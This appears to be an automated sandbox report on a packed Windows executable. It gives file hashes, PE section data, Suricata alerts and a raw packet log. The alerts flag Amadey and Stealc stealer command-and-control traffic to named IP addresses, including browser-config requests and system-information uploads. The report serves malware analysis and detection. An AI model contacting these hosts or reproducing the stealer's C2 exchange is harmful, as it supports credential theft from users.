Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132980
Entropy (8bit):	5.43526156434484
Encrypted:	false
SSDEEP:	3072:flkX3ioI5wrfFiC8jMbk/5xnRMpvsMTwR2i6o:fO3dDFqr/5xnRMpvrwR8o
MD5:	2CBEC770DD2EFC690F05AF466558C0E2
SHA1:	A36239763935066D71AF7C3263FCEDC28F7EC769
SHA-256:	F0F79E3421D5DA9883706E550BC1B62FFA42A5F407C85A73E5808B1D8BEC147D
SHA-512:	E8D18EE86D901573288CACB03732C046750C05E6378E761F860818818CE1781AC9221BCD34BB5B376E0C0C33042B0564846A338F551985FC4E80FF2BC6829E8C
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944121910932097
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'733'120 bytes
MD5:	ca0ad971e610676ade1d3af832c47135
SHA1:	ee9ed8a2f7c83cc8106f13c949b5ad134d16b0a5
SHA256:	9b5e3da919a3b72949ab9fbfa36b987144e04cf5dab0c275d1afb2b843b4bca9
SHA512:	c73aac179f75faaea20e8445b1a021fe8f11b11dc212b4863acafa1c5317c8ee4cd4e53bfa4f6a7467c2f0fe6c60313583a3a4d2b57613390609ae45435f4bb5
SSDEEP:	49152:IKbUgwbYuzG+kmHOM1LA6JKvFSk52gzZZ:IlgwbYj+dbLA6cvFLnZZ
TLSH:	6585334AADE44EBFD65E9E3018EB224D0F20778C4FF18AF9411094181CB9EF5DDEA162
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa68000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB21CD8A51Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	40b11dc51cd2f4a8e285e12fa49784f2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	f9f1c15989d8a29553b8a76310c1a0f4	False	0.794921875	data	6.069800276607897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x28d000	0x200	454ca6f245fc6d95161ac036975547a6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fsczkwli	0x4d9000	0x18e000	0x18d200	ff24bd6b78e1150ad86e950a4b6af789	False	0.9948506846081209	data	7.954128278893427	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pphwoszg	0x667000	0x1000	0x600	f9231aff07223e5f213131d98019f31b	False	0.5924479166666666	data	5.059828818281402	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x668000	0x3000	0x2200	21c669bfec677cdd6a21641232209c4e	False	0.07559742647058823	DOS executable (COM)	0.8390350092030247	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x665f8c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T15:17:00.196673+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49921	TCP
2024-11-28T15:17:12.135890+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49712	185.215.113.206	80	TCP
2024-11-28T15:17:12.591756+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49712	185.215.113.206	80	TCP
2024-11-28T15:17:12.914181+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49712	TCP
2024-11-28T15:17:13.252512+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49712	185.215.113.206	80	TCP
2024-11-28T15:17:13.575545+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49712	TCP
2024-11-28T15:17:15.426102+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49712	185.215.113.206	80	TCP
2024-11-28T15:17:16.188603+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49712	185.215.113.206	80	TCP
2024-11-28T15:17:39.290755+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:41.378121+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:42.589319+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:43.741807+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:47.365661+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:48.496788+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:58.511102+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49887	185.215.113.16	80	TCP
2024-11-28T15:19:05.852737+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49920	185.215.113.43	80	TCP
2024-11-28T15:19:10.447044+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49922	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 15:17:00.196672916 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 15:17:00.196687937 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 15:17:00.196696997 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 15:17:00.620811939 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 15:17:00.670681953 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 15:17:00.812705994 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 15:17:00.814161062 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 15:17:00.934247971 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 15:17:01.358247995 CET	49673	443	192.168.2.6	173.222.162.64
Nov 28, 2024 15:17:01.359026909 CET	443	49707	20.198.119.143	192.168.2.6
Nov 28, 2024 15:17:01.405097008 CET	49707	443	192.168.2.6	20.198.119.143
Nov 28, 2024 15:17:01.436353922 CET	49674	443	192.168.2.6	173.222.162.64
Nov 28, 2024 15:17:01.748970985 CET	49672	443	192.168.2.6	173.222.162.64
Nov 28, 2024 15:17:02.585052013 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:02.585074902 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:02.585145950 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:02.585289955 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:02.585323095 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:02.585376978 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:02.587101936 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:02.587115049 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:02.587189913 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:02.587202072 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.390055895 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.390136003 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.425000906 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.425039053 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.425333977 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.425379992 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.427334070 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.427364111 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.438680887 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.438750029 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.441417933 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.441428900 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.441751957 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.441823959 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.441823959 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.441854000 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.979270935 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.979295969 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.979341984 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.979376078 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.979389906 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:04.979392052 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.979414940 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.979445934 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.981549978 CET	49709	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:04.981571913 CET	443	49709	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:05.037744999 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:05.037790060 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:05.037817955 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:05.037846088 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:05.037859917 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:05.037859917 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:05.037889957 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:05.037914991 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:05.072506905 CET	49710	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:05.072524071 CET	443	49710	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:09.899333000 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:09.899380922 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:09.899666071 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:09.900266886 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:09.900283098 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:10.143150091 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:10.266009092 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:10.266083002 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:10.266897917 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:10.386833906 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:11.061389923 CET	49674	443	192.168.2.6	173.222.162.64
Nov 28, 2024 15:17:11.139429092 CET	49673	443	192.168.2.6	173.222.162.64
Nov 28, 2024 15:17:11.358285904 CET	49672	443	192.168.2.6	173.222.162.64
Nov 28, 2024 15:17:11.650018930 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:11.650100946 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:11.652244091 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:11.652254105 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:11.652594090 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:11.654465914 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:11.654552937 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:11.659852028 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:11.663594961 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:11.707334995 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:11.779846907 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:12.133141994 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.133222103 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.133296967 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.133352041 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.133368015 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.133409977 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.133409977 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.135835886 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:12.135890007 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:12.137062073 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:12.257425070 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:12.304377079 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.304467916 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.304491997 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.304517031 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.304558039 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.304558039 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.347599030 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.347697020 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.347703934 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.347750902 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.347794056 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.347794056 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.476882935 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.476969957 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.477022886 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.477039099 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.477051973 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.477097988 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.509083986 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.509105921 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.509170055 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.509182930 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.509227991 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.509227991 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.533961058 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.533987999 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.534084082 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.534094095 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.534168959 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.554094076 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.554111004 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.554229975 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.554245949 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.554352999 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.591675043 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:12.591713905 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:12.591756105 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:12.591789961 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:12.662672043 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.662697077 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.662749052 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.662765026 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.662807941 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.662807941 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.677922964 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.677942038 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.678018093 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.678026915 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.678037882 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.678121090 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.695456028 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.695477009 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.695538044 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.695547104 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.695663929 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.712327957 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.712346077 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.712394953 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.712402105 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.712434053 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.712470055 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.726385117 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.726475000 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.726511002 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.726511002 CET	49711	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.726524115 CET	443	49711	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.760273933 CET	49713	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.760324001 CET	443	49713	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.760586023 CET	49713	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.761787891 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.761828899 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.761984110 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.769479990 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.769495010 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.769570112 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.771346092 CET	49716	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.771387100 CET	443	49716	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.771718025 CET	49716	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.772177935 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.772219896 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.772298098 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.772408009 CET	49716	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.772423029 CET	443	49716	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.772574902 CET	49713	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.772586107 CET	443	49713	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.772655010 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.772669077 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.772964001 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.772979975 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.773099899 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:12.773111105 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:12.792848110 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:12.792911053 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:12.794250965 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:12.914180994 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.252456903 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.252470016 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.252511978 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.252540112 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.253423929 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.253453016 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.253462076 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.253482103 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.253535032 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.254266977 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.254309893 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.254365921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.254544020 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.262721062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.262790918 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.453449965 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.453505993 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.455430984 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:13.575545073 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.701997042 CET	443	49703	173.222.162.64	192.168.2.6
Nov 28, 2024 15:17:13.702434063 CET	49703	443	192.168.2.6	173.222.162.64
Nov 28, 2024 15:17:13.908931017 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:13.908997059 CET	49712	80	192.168.2.6	185.215.113.206
